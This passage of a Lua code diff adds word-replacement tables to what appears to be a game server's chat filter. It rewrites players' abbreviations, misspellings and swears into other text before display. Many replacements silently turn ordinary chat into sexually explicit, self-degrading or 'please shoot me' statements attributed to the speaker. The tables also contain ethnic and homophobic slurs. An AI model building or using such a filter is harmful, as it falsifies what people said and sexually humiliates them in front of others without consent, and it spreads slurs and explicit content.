{what = "lulz", with = "go to my xtube profile, it's _FLT_ !"}, + {what = "sory", with = "Apologies, I'm unable to spell"}, + {what = "tipe", with = "Apologies, I'm unable to spell"}, + {what = "gess", with = "guess you're hot,"}, + {what = "wana", with = "wife's dildo"}, + {what = "lyfe", with = "my mother's dildo"}, + {what = "nite", with = "Butt Blaster"}, + {what = "thnx", with = "my Pizza with Applesauce"}, + {what = "diff", with = "SVN Checkout"}, + {what = "fone", with = "Banana"}, + {what = "watt", with = "Lightbulb"}, + {what = "wile", with = "Trouser snake"}, + {what = "shud", with = "Earthquake"}, + {what = "hawt", with = "Seriously attractive"}, + {what = "wout", with = "Windows Outage"}, + {what = "goin", with = "going to blow my load"}, + {what = "enuf", with = "English Unfailing"}, + {what = "fook", with = "Explosive Farting"}, + {what = "tryn", with = "Train"}, + {what = "wutd", with = "Windows Update doing"}, + {what = "whut", with = "with huge dicks tomorrow"}, + {what = "rlyy", with = "12v Relay"}, + {what = "gvin", with = "giving you a handjob with"}, + {what = "rdms", with = "loves me all night long"}, + {what = "mute", with = "turn off your speakers"}, + {what = "rdmz", with = "loves me all night long"}, + {what = "obvi", with = "or Boner Violin"}, + {what = "thru", with = "Drive Through"}, + {what = "dint", with = "drip"}, + {what = "ttyl", with = "Teletype"}, + {what = "thou", with = "Thaum"}, + {what = "stfu", with = "somtimes, there's free lube"}, + {what = "haud", with = "Loud"}, + {what = "lubs", with = "Lube"}, + {what = "byob", with = "Porno"}, + {what = "byol", with = "Porno!"}, + {what = "harr", with = "Hardon!"}, + {what = "baws", with = "cock and balls"}, + {what = "bcuz", with = "Beakers"}, + {what = "nawh", with = "blowjobs $10"}, + {what = "tiem", with = "Bum Time"}, + {what = "teim", with = "Bum Time"}, + {what = "fags", with = "hot guys"}, + {what = "whzz", with = "Cheese Whiz"}, + {what = "thjx", with = "90,000 Watts"}, + {what = "gerd", with = "Parrot"}, + {what = "trai", with = "Diiner Tray"}, + {what = "tors", with = "Sliding Doors"}, + {what = "youy", with = "young ass"}, + {what = "duno", with = "Sand Dunes"}, + {what = "sowy", with = "Pork Pies"}, + {what = "whor", with = "who wants to suck me"}, + {what = "leet", with = "awesome and I can't play!"}, + {what = "chek", with = "lick me"}, + {what = "plis", with = "a Playlist"}, + {what = "pils", with = "PILLS HERE"}, + {what = "wohs", with = "who wants my dick and"}, + {what = "cums", with = "Squirts"}, + {what = "luve", with = "my buttocks are"}, + {what = "taht", with = "sucking with his,"}, + {what = "bruv", with = "I'm gay"}, + {what = "wtdd", with = "with the Dongs"}, + {what = "knwo", with = "know about my huge boner for you,"}, + {what = "jyst", with = "just don't know how to spell and"}, + {what = "imho", with = "I'm a ho!"}, + {what = "wiht", with = "with my new buttplug and"}, + {what = "thro", with = "through my buttocks"}, + {what = "yoou", with = "you're awesome, I can't spell!"}, + {what = "kiil", with = "kill me, I can't spell!"}, + {what = "saay", with = "say you love my dick!"}, + {what = "sors", with = "Sorry, I am unable to spell, please shoot me"}, + {what = "nife", with = "knife, I am unable to spell, please SHOOT ME"}, + {what = "nnoo", with = "no, I am unable to spell, please SHOOT ME"}, + {what = "hoow", with = "how, I am unable to spell, please SHOOT ME"}, + {what = "thow", with = "though I'm unable to spell"}, + {what = "noop", with = "yes!"}, + {what = "saiz", with = "said to come and shoot me"}, + {what = "plez", with = "Lesbian"}, + {what = "suks", with = "Eats"}, + {what = "duin", with = "Direct Input"}, + {what = "werd", with = "Microsoft Office"}, + {what = "plse", with = "Corrupted Playlist"}, + {what = "buld", with = "Oh dear"}, + {what = "prly", with = "probably, but I have a tiny cock!"}, + {what = "nubs", with = "Buttons"}, + {what = "heff", with = "shoot my hat off"}, + {what = "shti", with = "Manure"}, + {what = "swag", with = "Bag of loot"}, + {what = "bada", with = "bad dildo, no"}, + {what = "tawk", with = "talk about how small my dick is"}, + {what = "puls", with = "suck on my cock"}, + {what = "rdmd", with = "came all over me"}, + {what = "pulz", with = "suck on my cock"}, + {what = "pluz", with = "suck on my cock"}, + {what = "inno", with = "the whole 11 inches"}, + {what = "pown", with = "i can wipe my own ass!"}, + {what = "thos", with = "those dicks you were talking about"}, + {what = "bahn", with = "Barnyard"}, + {what = "fing", with = "Fangs"}, + {what = "band", with = "Brass Band"}, + {what = "duus", with = "Brass Band"}, + {what = "ownt", with = "never owned a telephone"}, + {what = "wtdf", with = "we down to fuck tonight?"}, + {what = "fkin", with = "would you like a threesome with my brother?"}, + {what = "fuak", with = "finish on my face"}, + {what = "fock", with = "Love"}, + {what = "datt", with = "Data Tapes"}, + {what = "foar", with = "Five"}, + {what = "amin", with = "Awesome Dude"}, + {what = "wpah", with = "Wireless Protection Activated"}, + {what = "noez", with = "EZ-Cheese"}, + {what = "whaa", with = "with the cake and"}, + {what = "romm", with = "Read-only memory"}, + {what = "bloo", with = "Toilet Cleaner"}, + {what = "ming", with = "great player"}, + {what = "thix", with = "broken speakers"}, + {what = "cent", with = "Dollars"}, + {what = "vajj", with = "Mis-Spelling"}, + {what = "fawk", with = "Fireworks"}, + {what = "rdmm", with = "blow it all over me"}, + + + --3 + {what = "tur", with = "Turtle"}, + {what = "uif", with = "ISO Image"}, + {what = "adm", with = "add more Man"}, + {what = "yru", with = "why do i find you really sexy,"}, + {what = "wdf", with = "with Dildos and Fisting"}, + {what = "gus", with = "Gas"}, + {what = "lyk", with = "like cute dicks"}, + {what = "sus", with = "some underpants and"}, + {what = "waz", with = "was unable to spell"}, + {what = "ths", with = "this is awesome, add me on steam, it's _FLT_"}, + {what = "omf", with = "or my free guns"}, + {what = "cac", with = "CNC Machine"}, + {what = "mlp", with = "my tiny dick"}, + {what = "mlg", with = "my tiny dick"}, + {what = "ger", with = "Germs"}, + {what = "coc", with = "CNC Machine"}, + {what = "tig", with = "Tiger gas"}, + {what = "mom", with = "dog"}, + {what = "wan", with = "Minivan"}, + {what = "emd", with = "Electromagnetic Pulse"}, + {what = "unt", with = "my butthole"}, + {what = "shu", with = "sinking ship"}, + {what = "olo", with = "oh dear, I seem to only have a tiny dick"}, + {what = "tra", with = "Dinner Tray"}, + {what = "nad", with = "boyfriend"}, + {what = "svr", with = "Radiation"}, + {what = "rmd", with = "cum all over"}, + {what = "drm", with = "cum inside"}, + {what = "rof", with = "roof of the Gas Station"}, + {what = "med", with = "Medium-sized cock"}, + {what = "nig", with = "National Insurance Game"}, + {what = "gae", with = "Awesome"}, + {what = "den", with = "then we can fuck tonight if"}, + {what = "wry", with = "worry about your cock, i know it's very small"}, + {what = "daz", with = "Soap Powder"}, + {what = "vag", with = "Bag of sand"}, + {what = "jew", with = "Juice"}, + {what = "hee", with = "he has a lovley anus,"}, + {what = "mai", with = "Corrupted Email"}, + {what = "trt", with = "Jam Tart"}, + {what = "gey", with = "awesome in bed"}, + {what = "duh", with = "Carpet Muncher"}, + {what = "wep", with = "Wired Equivalent Privacy"}, + {what = "bah", with = "Baghdad"}, + {what = "hlp", with = "Hewlett Packard"}, + {what = "fux", with = "Firefox"}, + {what = "fak", with = "Love my dick and"}, + {what = "dik", with = "Boner"}, + {what = "yau", with = "Yahoo, but I can't spell"}, + {what = "yuo", with = "your dick and your"}, + {what = "oyu", with = "your cock and your"}, + {what = "sor", with = "Operating System"}, + {what = "osr", with = "Operating System"}, + {what = "mem", with = "Random Access Memory"}, + {what = "afk", with = "taking a dump in a can!"}, + {what = "ust", with = "just come and shoot me"}, + {what = "ome", with = "Bomb"}, + {what = "tah", with = "Taco"}, + {what = "wnt", with = "want to die with"}, + {what = "yuh", with = "Yellow hat"}, + {what = "upp", with = "up yours"}, + {what = "dha", with = "Bomb"}, + {what = "imn", with = "I'm not being shot right now, shoot me!"}, + {what = "nlr", with = "NTLDR"}, + {what = "maj", with = "Explosives"}, + {what = "mej", with = "Matches"}, + {what = "bck", with = "watching porn!"}, + {what = "doi", with = "Driving under the influence"}, + {what = "ick", with = "Icing"}, + {what = "hak", with = "Skiddie Fuel"}, + {what = "tsk", with = "I have a huge hardon for you"}, + {what = "ing", with = "Gold Bar"}, + {what = "cha", with = "VHS"}, + {what = "wee", with = "Urine!"}, + {what = "neh", with = "Nuts and bolts"}, + {what = "nuh", with = "Nuts and bolts"}, + {what = "wai", with = "wait until you see it hard!"}, + {what = "ser", with = "Server"}, + {what = "sth", with = "Roadworks"}, + {what = "git", with = "Grit"}, + {what = "fer", with = "for my next lovemaking session with"}, + {what = "ops", with = "Operations per second"}, + {what = "wor", with = "I'm a whore"}, + {what = "iww", with = "Telephone Weights"}, + {what = "sow", with = "Pork Pie"}, + {what = "tel", with = "Telephone"}, + {what = "nob", with = "Awesome Player"}, + {what = "srv", with = "Solid Rocket Booster"}, + {what = "don", with = "huge dong!"}, + {what = "eni", with = "eBay"}, + {what = "hte", with = "love a giant cock"}, + {what = "ded", with = "my dead braincells"}, + {what = "yus", with = "yum, dicks"}, + {what = "gah", with = "Duct Tape"}, + {what = "ino", with = "Inno Setup Compiler"}, + {what = "nou", with = "no Uranium"}, + {what = "dud", with = "dude, look at my boner!"}, + {what = "hao", with = "Halo 2"}, + {what = "hwy", with = "why can't I spell!"}, + {what = "las", with = "last dildo in the store"}, + {what = "brb", with = "Barbed Wire"}, + {what = "qoq", with = "butt plugs,"}, + {what = "koc", with = "butt plugs,"}, + {what = "kok", with = "butt plugs,"}, + {what = "cok", with = "butt plugs,"}, + {what = "coq", with = "butt plugs,"}, + {what = "iam", with = "I love butt plugs,"}, + {what = "afc", with = "afraid of cocks"}, + {what = "mak", with = "Media Access"}, + {what = "cnt", with = "I'm Gay"}, + {what = "dif", with = "Difference File"}, + {what = "tha", with = "the massive dildo with the"}, + {what = "nno", with = "no pants on"}, + {what = "wif", with = "stink"}, + {what = "ofc", with = "yes, i'd love to suck you :3"}, + {what = "tks", with = "Water Tanks"}, + {what = "ftw", with = "come and shoot me with it"}, + {what = "whz", with = "Cheese Whiz"}, + {what = "yea", with = "a million years"}, + {what = "ups", with = "Uninterruptable Power Supply"}, + {what = "hiz", with = "Hiss"}, + {what = "lul", with = "I'm terrible"}, + {what = "lel", with = "I'm terrible"}, + {what = "lal", with = "I'm terrible"}, + {what = "wtd", with = "with the Dong"}, + {what = "dam", with = "Hoover Dam"}, + {what = "uda", with = "Buddha"}, + {what = "dou", with = "Dough"}, + {what = "har", with = "Hardon!"}, + {what = "rlz", with = "ReleaseLog"}, + {what = "bro", with = "brother's huge cock"}, + {what = "abt", with = "Trouser Snake"}, + {what = "yer", with = "my anus"}, + {what = "haw", with = "Hawk"}, + {what = "fir", with = "Infrared Data Link"}, + {what = "fro", with = "Frozen"}, + {what = "dne", with = "Methane"}, + {what = "ure", with = "Urinal"}, + {what = "mad", with = "Bananas"}, + {what = "foo", with = "Food"}, + {what = "luk", with = "Hardon"}, + {what = "oic", with = "2 inch cock"}, + {what = "whn", with = "with Eggs when"}, + {what = "tty", with = "Teletype"}, + {what = "fuc", with = "Kentucky Fried Chicken"}, + {what = "shi", with = "Ship"}, + {what = "tru", with = "Trunk"}, + {what = "mhm", with = "Cadillac!"}, + {what = "srx", with = "XXX"}, + {what = "cos", with = "because I have a tiny cock!"}, + {what = "cud", with = "Cadillac"}, + {what = "shd", with = "Shipwreck"}, + {what = "gng", with = "CNC Machine"}, + {what = "eff", with = "Electronic Frontier Foundation"}, + {what = "sux", with = "sucks my boner"}, + {what = "cbf", with = "can fuck forever"}, + {what = "tbh", with = "those butts are hot"}, + {what = "muh", with = "Mustard"}, + {what = "mon", with = "Monitor"}, + {what = "yoo", with = "Users"}, + {what = "hbu", with = "Host Bus Upstream"}, + {what = "sho", with = "Shower"}, + {what = "hve", with = "High Voltage Electric"}, + {what = "sos", with = "I've been dicking myself, but there's room for two!"}, + {what = "sto", with = "Storage"}, + {what = "pik", with = "Diamond Pickaxe"}, + {what = "mfw", with = "Metafile Windows"}, + {what = "tfw", with = "Torrent file Windows"}, + {what = "fml", with = "Female"}, + {what = "fst", with = "first Tits"}, + {what = "wbu", with = "Wireless Broadband Update"}, + {what = "ffs", with = "I'm immensely frustrated"}, + {what = "wen", with = "with a Chicken when"}, + {what = "tun", with = "Tuna fish"}, + {what = "npe", with = "and Pie"}, + {what = "omg", with = "oh and I love cock"}, + {what = "cus", with = "Curse"}, + {what = "nic", with = "Network Interface Controller"}, + {what = "bsy", with = "Bee"}, + {what = "tht", with = "Titanic"}, + {what = "der", with = "Dong"}, + {what = "nao", with = "Meow"}, + {what = "sry", with = "iPhone"}, + {what = "cum", with = "Baby Cream"}, + {what = "nty", with = "Contains Nuts"}, + {what = "meh", with = "Meth"}, + {what = "mah", with = "Math"}, + {what = "hav", with = "Half"}, + {what = "soz", with = "Knitted Socks!"}, + {what = "sup", with = "Chicken Soup"}, + {what = "sir", with = "Big Cheese"}, + {what = "thx", with = "90,000 Watts"}, + {what = "wis", with = "Windows Installer"}, + {what = "tnx", with = "Dynamite"}, + {what = "wat", with = "Windows Activation"}, + {what = "wut", with = "Windows Update"}, + {what = "wot", with = "Weather Balloon"}, + {what = "wuh", with = "Windows Update"}, + {what = "wha", with = "Pizza with Applesauce"}, + {what = "eet", with = "Feet"}, + {what = "dub", with = "Dubstep"}, + {what = "wos", with = "Washer"}, + {what = "wus", with = "Washer"}, + {what = "wht", with = "Wheat"}, + {what = "ikr", with = "I love to take it up the butt"}, + {what = "hah", with = "you sound hot!"}, + {what = "dah", with = "Dakara"}, + {what = "pon", with = "Panties"}, + {what = "ies", with = "Internet Explorer"}, + {what = "cks", with = "long cocks"}, + {what = "dnt", with = "Donut"}, + {what = "bak", with = "Backup"}, + {what = "noo", with = "I'm Nude!"}, + {what = "nuu", with = "Nude"}, + {what = "luv", with = "love sucking"}, + {what = "wuv", with = "love sucking"}, + {what = "wuz", with = "Wood"}, + {what = "lik", with = "licked his cock with"}, + {what = "nup", with = "Network Unplugged"}, + {what = "nop", with = "Network Operations"}, + {what = "nah", with = "Nachos"}, + {what = "nub", with = "Great Player"}, + {what = "cya", with = "Cyanide!"}, + {what = "sya", with = "Change my Ink Cartridge!"}, + {what = "rdy", with = "Lube"}, + {what = "cuz", with = "Cruise Missile"}, + {what = "coz", with = "Cruise Missile"}, + {what = "fgt", with = "forgotton folder of porn!"}, + {what = "fag", with = "hot dude"}, + {what = "sed", with = "said come and shoot me"}, + {what = "stp", with = "File Transfer Protocol"}, + {what = "srs", with = "Servers"}, + {what = "lyf", with = "life, don't talk to me about life :("}, + {what = "haz", with = "have hairy balls"}, + {what = "fug", with = "Fuckweasel"}, + {what = "fuq", with = "Fuckweasel"}, + {what = "foq", with = "Fuckweasel"}, + {what = "suk", with = "suck my boner"}, + {what = "tis", with = "Transport Infomation Services"}, + {what = "suc", with = "suck my boner"}, + {what = "bai", with = "Bail"}, + {what = "dis", with = "Long Distance"}, + {what = "gon", with = "gone to buy a new dildo and"}, + {what = "hai", with = "Hello, I can't spell!"}, + {what = "ppl", with = "people with dicks"}, + {what = "gag", with = "Finger"}, + {what = "dat", with = "Data tape"}, + {what = "idk", with = "I'm too busy fapping"}, + {what = "idc", with = "I still love you"}, + {what = "wth", with = "with the hot guys!"}, + {what = "mhe", with = "Methane"}, + {what = "boi", with = "BIOS"}, + {what = "yey", with = "yay, also I like it up the ass!"}, + {what = "pzl", with = "a Playlist"}, + {what = "plz", with = "a Playlist"}, + {what = "pls", with = "a Playlist"}, + {what = "plx", with = "A PLAYLIST!"}, + {what = "rly", with = "Power Relay"}, + {what = "fel", with = "Feel"}, + {what = "nss", with = "No Software Service"}, + {what = "daf", with = "DoS Attack Fix"}, + {what = "non", with = "Noon"}, + {what = "nis", with = "Nipple Insurance"}, + {what = "thn", with = "Thong"}, + {what = "teh", with = "my dick with the"}, + {what = "knw", with = "know I love dick"}, + {what = "kno", with = "Snow"}, + {what = "dem", with = "Demo"}, + {what = "ima", with = "Windows 95"}, + {what = "def", with = "#define"}, + {what = "chk", with = "CheckDisk"}, + {what = "nvm", with = "NVIDIA"}, + {what = "yup", with = "yes, with your dick"}, + {what = "sht", with = "Shutdown"}, + {what = "dun", with = "Dung"}, + {what = "tho", with = "Thong"}, + {what = "thr", with = "Thread"}, + {what = "cba", with = "Concrete Building Assosiation"}, + {what = "sec", with = "sex"}, + {what = "wud", with = "large wad"}, + {what = "btw", with = "Bring Terror Weapons"}, + {what = "gna", with = "Grandma's Nasty Ass!"}, + {what = "naw", with = "Anal"}, + {what = "kik", with = "Lick"}, + {what = "tro", with = "Toll Bridge"}, + {what = "urs", with = "your massive cock"}, + {what = "pks", with = "Parks"}, + {what = "fud", with = "food Underpants"}, + {what = "fik", with = "Norberto fig awesome cat competition"}, + {what = "yow", with = "Meow"}, + {what = "rad", with = "Radiation"}, + {what = "jus", with = "Juice"}, + {what = "mao", with = "Meow"}, + {what = "gud", with = "good for the backside"}, + {what = "wit", with = "White"}, + {what = "wyd", with = "with your dick!"}, + {what = "moo", with = "dog poo"}, + {what = "pwn", with = "suck"}, + {what = "thy", with = "Thighs"}, + {what = "fkn", with = "come and Bang me"}, + {what = "gal", with = "Gallons"}, + {what = "wah", with = "Water Heater"}, + {what = "thi", with = "Thighs"}, + {what = "yah", with = "Yahoo!"}, + {what = "gtg", with = "got to go now, I can't spell :("}, + {what = "tdm", with = "no, I mean come and shoot me!"}, + {what = "rdm", with = "cum all over"}, + {what = "kil", with = "Bang"}, + {what = "det", with = "Detonator"}, + {what = "mby", with = "Maybe you can suck me or"}, + {what = "thw", with = "the Wireless"}, + {what = "cna", with = "can fuck me or"}, + {what = "spk", with = "Service Pack"}, + {what = "som", with = "some fingering and"}, + {what = "sum", with = "some fisting and"}, + {what = "fck", with = "Love"}, + {what = "wer", with = "Windows Error"}, + {what = "rqs", with = "sucks me off"}, + {what = "srz", with = "Servers"}, + {what = "yeh", with = "want to see my webcam? my skype is _FLT_"}, + {what = "wna", with = "can't spell"}, + {what = "fil", with = "Cream Filling"}, + {what = "dic", with = "Huge Boner"}, + {what = "ono", with = "or nearest offer"}, + {what = "whr", with = "massive boner"}, + {what = "thm", with = "Thaum"}, + {what = "kic", with = "KFC"}, + {what = "wid", with = "Windows Installer"}, + {what = "mee", with = "me and my cock"}, + {what = "imo", with = "in my butt"}, + {what = "bou", with = "boat full of dynamite"}, + {what = "fat", with = "File Allocation Table"}, + {what = "dum", with = "cool"}, + {what = "wel", with = "Water Well"}, + {what = "owr", with = "our buttocks"}, + {what = "fks", with = "Loves"}, + {what = "nos", with = "Nitrous Oxide"}, + {what = "dur", with = "Doorstop"}, + {what = "tat", with = "Tattoo"}, + {what = "oke", with = "ok, now will you shoot me?"}, + {what = "iim", with = "I'm unable to spell, so please shoot me now while I'm"}, + {what = "giv", with = "give me a blowjob"}, + {what = "stu", with = "Chicken Stew"}, + {what = "pid", with = "Product ID"}, + {what = "hmu", with = "her massive underpants"}, + {what = "tor", with = "The Onion Router"}, + {what = "hel", with = "Ice Cream van"}, + {what = "iss", with = "Public Toilet"}, + {what = "joo", with = "Apple Juice"}, + {what = "yiu", with = "you have a boner"}, + {what = "obv", with = "obviously too big for me"}, + {what = "ers", with = "Ears"}, + {what = "nxt", with = "Lego"}, + {what = "mer", with = "butt rocket"}, + {what = "cic", with = "i'm not blind"}, + {what = "chu", with = "Choo-Choo"}, + {what = "sre", with = "iPhone"}, + {what = "giy", with = "guy who can spell"}, + + --2 + {what = "ll", with = "large boner"}, + {what = "bn", with = "bone"}, + {what = "ba", with = "big ass"}, + {what = "fg", with = "fake guns"}, + {what = "af", with = "activate Farting!"}, + {what = "cm", with = "Cinematic Mod"}, + {what = "ga", with = "golden apple"}, + {what = "ad", with = "Advertising"}, + {what = "ze", with = "my butthole with"}, + {what = "pe", with = "dick explosion"}, + {what = "le", with = "Light Edition"}, + {what = "bs", with = "Building Services"}, + {what = "wa", with = "Windows Activation"}, + {what = "ke", with = "Kink Engineering"}, + {what = "ir", with = "Infrared"}, + {what = "ys", with = "you're sexy"}, + {what = "ta", with = "Roadworks"}, + {what = "rr", with = "RoadRunner"}, + {what = "ol", with = "oh dear, i've pooped my pants"}, + {what = "lo", with = "want to see my huge boner"}, + {what = "os", with = "Windows Vista"}, + {what = "ou", with = "my boner"}, + {what = "un", with = "exploding"}, + {what = "ni", with = "Nipple"}, + {what = "dx", with = "my huge boner"}, + {what = "pp", with = "Post Processing"}, + {what = "cp", with = "Control Panel"}, + {what = "fk", with = "Love"}, + {what = "al", with = "Aluminium"}, + {what = "rq", with = "cum all over me"}, + {what = "dd", with = "Double Dildo"}, + {what = "mk", with = "make me a cake"}, + {what = "ha", with = "BLOWJOB!"}, + {what = "aa", with = "Auto Activation"}, + {what = "om", with = "or Mangos"}, + {what = "ss", with = "Suck Suck"}, + {what = "ka", with = "Cake"}, + {what = "ds", with = "Dual Screen"}, + {what = "fr", with = "France"}, + {what = "nu", with = "Fuck me in the ass"}, + {what = "qq", with = "Fuck me in the ass"}, + {what = "ff", with = "Fuck me in the ass"}, + {what = "uu", with = "My sweaty balls"}, + {what = "tt", with = "those titties!"}, + {what = "bt", with = "Broken Telephone"}, + {what = "ki", with = "Kink Engineering"}, + {what = "gs", with = "Gone Shopping"}, + {what = "hu", with = "huge anus"}, + {what = "wb", with = "White Balance"}, + {what = "sk", with = "Cumshot"}, + {what = "ai", with = "All Invisible"}, + {what = "ab", with = "about to Bang"}, + {what = "yw", with = "you wank?"}, + {what = "gj", with = "I love a nice big cock!"}, + {what = "wf", with = "without Flourine"}, + {what = "gd", with = "GameDeception"}, + {what = "fa", with = "Fap"}, + {what = "wy", with = "Nintendo Wii"}, + {what = "wu", with = "Windows Update"}, + {what = "xe", with = "Extreme Edition"}, + {what = "lk", with = "Lick"}, + {what = "jw", with = "Juicy Wang"}, + {what = "se", with = "ScriptEnforcer"}, + {what = "uv", with = "Ultravoilet"}, + {what = "iz", with = "hate my life"}, + {what = "bc", with = "Battle Cruiser"}, + {what = "jk", with = "JFK"}, + {what = "nm", with = "Nanomechanics"}, + {what = "eh", with = "Event Horizon"}, + {what = "fs", with = "Filesystem"}, + {what = "fo", with = "Phone"}, + {what = "wi", with = "Windows Installer"}, + {what = "na", with = "Sodium"}, + {what = "gg", with = "Grandma's Gun!"}, + {what = "nt", with = "Windows NT"}, + {what = "uq", with = "Ducklings"}, + {what = "wt", with = "Waste Transfer"}, + {what = "yo", with = "Yogurt"}, + {what = "tu", with = "Titanium Underpants"}, + {what = "iv", with = "I vomit"}, + {what = "ht", with = "Hyperthreading"}, + {what = "ne", with = "Neon Lamp"}, + {what = "gy", with = "guy's cock"}, + {what = "bk", with = "Burger King"}, + {what = "cu", with = "Copper"}, + {what = "dw", with = "Dong Warning"}, + {what = "yu", with = "Urinal"}, + {what = "yr", with = "Your ass"}, + {what = "ty", with = "Burgundy Tie"}, + {what = "hw", with = "Hardware"}, + {what = "ud", with = "Unlimited Download"}, + {what = "ur", with = "your huge dick, your"}, + {what = "yh", with = "yes handjob!"}, + {what = "ye", with = "yes, I'd love to suck it"}, + {what = "np", with = "Null Pointer"}, + {what = "rp", with = "Drama Unlimited"}, + {what = "wh", with = "White Hat"}, + {what = "ik", with = "Inverse kinematics"}, + {what = "da", with = "Direct Access"}, + {what = "tp", with = "Toilet Paper"}, + {what = "xd", with = "I swallow!"}, + {what = "ce", with = "Windows CE"}, + {what = "ov", with = "Russia"}, + {what = "ru", with = "Russia"}, + {what = "st", with = "Stargate"}, + {what = "op", with = "Original Poster"}, + {what = "sh", with = "Shit Happens"}, + {what = "fu", with = "for Underpants"}, + {what = "ck", with = "Carbon King"}, + {what = "su", with = "Superuser"}, + {what = "em", with = "Electromagnet"}, + {what = "gu", with = "hot dicks"}, + {what = "pl", with = "Plutonium"}, + {what = "ev", with = "Evolve"}, + {what = "te", with = "Teapot"}, + {what = "kk", with = "Cake Cake"}, + {what = "gt", with = "Gigatexels"}, + {what = "bb", with = "BaconBot"}, + {what = "mi", with = "Mission Impossible"}, + {what = "oi", with = "I/O Buffer"}, + {what = "mw", with = "Medium Wave"}, + {what = "sa", with = "San Andreas"}, + {what = "du", with = "Depleted Uranium"}, + {what = "cc", with = "Crispy Coconut"}, + {what = "yy", with = "Yellow Yarrgh!"}, + {what = "oo", with = "or bone me"}, + {what = "wd", with = "Western Digital"}, + {what = "de", with = "Germany"}, + {what = "wc", with = "Water Closet"}, + {what = "mf", with = "Mediafire"}, + {what = "mu", with = "Megaupload"}, + {what = "rs", with = "Rapidshit"}, + {what = "ar", with = "are Fisting"}, + {what = "ma", with = "my boner and"}, + {what = "mn", with = "my boner and"}, + {what = "ts", with = "lovely dicks"}, + {what = "ed", with = "unable to get it up"}, + {what = "re", with = "rewind"}, + {what = "ro", with = "row my boat"}, + {what = "fl", with = "Flour"}, + + --1 + --A + {what = "b", with = "Butt plug"}, + --C, other + --D, other + --E, other + --F, other + {what = "g", with = "Gasoline"}, + {what = "h", with = "Handjob"}, + --I, other + {what = "j", with = "Juice"}, + {what = "k", with = "Nutsack"}, + --L, other + {what = "m", with = "my tiny dong with the"}, + --N, other + {what = "o", with = "Oxygen"}, + {what = "p", with = "Protons"}, + --Q + {what = "r", with = "Rubbing"}, + --S, other + --T, other + {what = "u", with = "My balls"}, + {what = "v", with = "Vacbed"}, + {what = "w", with = "Wireless"}, + --X, other + {what = "y", with = "Yellow"}, + --Z + + + --Swears + {what = "cocksucking", with = "giving a blowjob"}, + {what = "cocksucker", with = "give me a blowjob!"}, + {what = "cocking", with = "Roosting"}, + {what = "cocks", with = "Roosters"}, + {what = "cock", with = "Rooster"}, + + {what = "dike", with = "Explosion"}, + {what = "dyke", with = "Explosion"}, + {what = "douche", with = "butt rocket"}, + {what = "douch", with = "butt rocket"}, + {what = "douchebag", with = "butt finger blast"}, + + {what = "dumbasses", with = "Drum n' Bass"}, + {what = "dumbass", with = "Drum n' Bass"}, + {what = "dumass", with = "Drum n' Bass"}, + {what = "godangit", with = "God Donut"}, + {what = "goddangit", with = "God Donut!"}, + + {what = "ahole", with = "like me cause I swallow"}, + {what = "a-hole", with = "like me cause I swallow"}, + {what = "jackass", with = "love jack's ass!"}, + {what = "ass", with = "Derriere"}, + + {what = "arseholes", with = "Crapfactories"}, + {what = "arsehole", with = "Crapfactory"}, + {what = "arse", with = "Derriere"}, + + {what = "boobies", with = "Melons"}, + {what = "boobs", with = "Melons"}, + + {what = "titties", with = "Melons"}, + {what = "tittie", with = "Melon"}, + {what = "tittys", with = "Melons"}, + {what = "titty", with = "Melons"}, + {what = "tits", with = "Melons"}, + {what = "tit", with = "Melon"}, + + {what = "bugger", with = "Sodomise"}, + {what = "twat", with = "Teapot"}, + {what = "retarded", with = "Awesome"}, + {what = "retard", with = "Genius"}, + + {what = "basterd", with = "Mr Awesome"}, + {what = "basterds", with = "Awesome Guys"}, + + {what = "bastard", with = "Mr Awesome"}, + {what = "bastards", with = "Awesome Guys"}, + {what = "bollocks", with = "Testicles"}, + {what = "bollock", with = "Testicle"}, + {what = "bollox", with = "Testicles"}, + + {what = "wanker", with = "want a blowjob?"}, + + {what = "gaytard", with = "Sir Awesome"}, + {what = "gaylord", with = "Sir Awesome"}, + + {what = "whores", with = "Firecrackers"}, + {what = "whore", with = "Firecracker"}, + {what = "hoe", with = "Firecracker"}, + {what = "ho", with = "Firecracker"}, + + {what = "chinc", with = "Teapot"}, + {what = "chink", with = "Teapot"}, + {what = "chinck", with = "Teapot"}, + {what = "spic", with = "great player"}, + {what = "spik", with = "great player"}, + {what = "spick", with = "great player"}, + + {what = "tard", with = "TARDIS"}, + {what = "pricks", with = "Sharp Edges"}, + {what = "prick", with = "cool dude"}, + {what = "clit", with = "Action Button"}, + {what = "coon", with = "Racoon"}, + {what = "idiots", with = "awesome dudes"}, + {what = "idiot", with = "awesome dude"}, + {what = "moron", with = "cool cude"}, + {what = "morons", with = "cool dudes"}, + {what = "jerk", with = "Jerk off tonight?"}, + {what = "heck", with = "Heckler & Koch"}, + {what = "paki", with = "park bench"}, + {what = "queer", with = "beef"}, + {what = "skank", with = "Spank"}, + {what = "skeet", with = "Toothpaste"}, + + {what = "fucer", with = "Faucet"}, +} + + +--SWEARWORDS, or bad words that are not nouns +HSP.ChatFilter.Swearwords = { + {what = "ur moms", with = "my mother's", rep = true}, + {what = "ur mums", with = "my mother's", rep = true}, + {what = "ur mothers", with = "my mother's", rep = true}, + {what = "ur mother", with = "my mother", rep = true}, + {what = "ur mom", with = "my mother", rep = true}, + {what = "ur mum", with = "my mother", rep = true}, + + {what = "your moms", with = "my mother's", rep = true}, + {what = "your mums", with = "my mother's", rep = true}, + {what = "youre mother", with = "my mother", rep = true}, + {what = "youre mothers", with = "my mother's", rep = true}, + {what = "your mothers", with = "my mother's", rep = true}, + {what = "your mother", with = "my mother", rep = true}, + {what = "your mom", with = "my mother", rep = true}, + {what = "your mum", with = "my mother", rep = true}, + + {what = "you mother", with = "my mother", rep = true}, + {what = "you mom", with = "my mother", rep = true}, + + {what = "u r", with = "your great big boner and the"}, + {what = "i k", with = "I only have a tiny one, sorry"}, + {what = "r u", with = "in soviet russia, I'm"}, + {what = "y u", with = "wow you're really cute,"}, + {what = "i has", with = "I have lost the ability to spell, shoot me with"}, + {what = "a ban", with = "a blowjob"}, + {what = "you suck", with = "you're awesome"}, + {what = "no life", with = "an epic life"}, + {what = "go die", with = "go get some Ice Cream"}, + {what = "get a life", with = "bone me"}, + {what = "shut up", with = "hey, want to bang me"}, + {what = "aim bot", with = "a very large dildo"}, + {what = "god mode", with = "your awesome boner"}, + {what = "you mad", with = "You're awesome"}, + {what = "server sucks", with = "server is awesome"}, + {what = "bad server", with = "epic server"}, + {what = "leave me alone", with = "come and shoot me"}, + {what = "im building", with = "It's DM, so shoot me :)"}, + + {what = "spell changer", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "spell checker", with = "Super Awesome 